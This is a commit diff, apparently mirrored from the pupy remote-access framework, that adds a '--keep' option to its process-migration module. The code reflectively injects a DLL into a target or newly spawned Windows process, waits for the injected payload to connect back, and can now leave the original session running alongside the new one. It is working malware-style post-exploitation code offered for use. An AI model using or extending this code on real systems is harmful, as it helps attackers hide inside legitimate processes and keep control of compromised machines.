mirror of https://github.com/n1nj4sec/pupy.git
add argument to create a new sessions when migrating
This commit is contained in:
parent
b431686d3c
commit
e9daaaac2d
|
@ -8,7 +8,7 @@ def has_proc_migrated(client, pid):
|
||||||
return c
|
return c
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def migrate(module, pid):
|
def migrate(module, pid, keep=False):
|
||||||
module.client.load_package("psutil")
|
module.client.load_package("psutil")
|
||||||
module.client.load_package("pupwinutils.processes")
|
module.client.load_package("pupwinutils.processes")
|
||||||
dllbuf=b""
|
dllbuf=b""
|
||||||
|
@ -28,6 +28,8 @@ def migrate(module, pid):
|
||||||
module.success("injecting DLL in target process %s ..."%pid)
|
module.success("injecting DLL in target process %s ..."%pid)
|
||||||
module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
|
module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
|
||||||
module.success("DLL injected !")
|
module.success("DLL injected !")
|
||||||
|
if keep:
|
||||||
|
return
|
||||||
module.success("waiting for a connection from the DLL ...")
|
module.success("waiting for a connection from the DLL ...")
|
||||||
while True:
|
while True:
|
||||||
c=has_proc_migrated(module.client, pid)
|
c=has_proc_migrated(module.client, pid)
|
||||||
|
|
|
@ -18,6 +18,7 @@ class MigrateModule(PupyModule):
|
||||||
group = self.arg_parser.add_mutually_exclusive_group(required=True)
|
group = self.arg_parser.add_mutually_exclusive_group(required=True)
|
||||||
group.add_argument('-c', '--create', metavar='<exe_path>',help='create a new process and inject into it')
|
group.add_argument('-c', '--create', metavar='<exe_path>',help='create a new process and inject into it')
|
||||||
group.add_argument('pid', nargs='?', type=int, help='pid')
|
group.add_argument('pid', nargs='?', type=int, help='pid')
|
||||||
|
self.arg_parser.add_argument('-k', '--keep', action='store_true' ,help='migrate into the process but create a new session and keep the current pupy session running')
|
||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
pid=None
|
pid=None
|
||||||
|
@ -27,7 +28,7 @@ class MigrateModule(PupyModule):
|
||||||
self.success("%s created with pid %s"%(args.create,pid))
|
self.success("%s created with pid %s"%(args.create,pid))
|
||||||
else:
|
else:
|
||||||
pid=args.pid
|
pid=args.pid
|
||||||
migrate(self, pid)
|
migrate(self, pid, args.keep)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue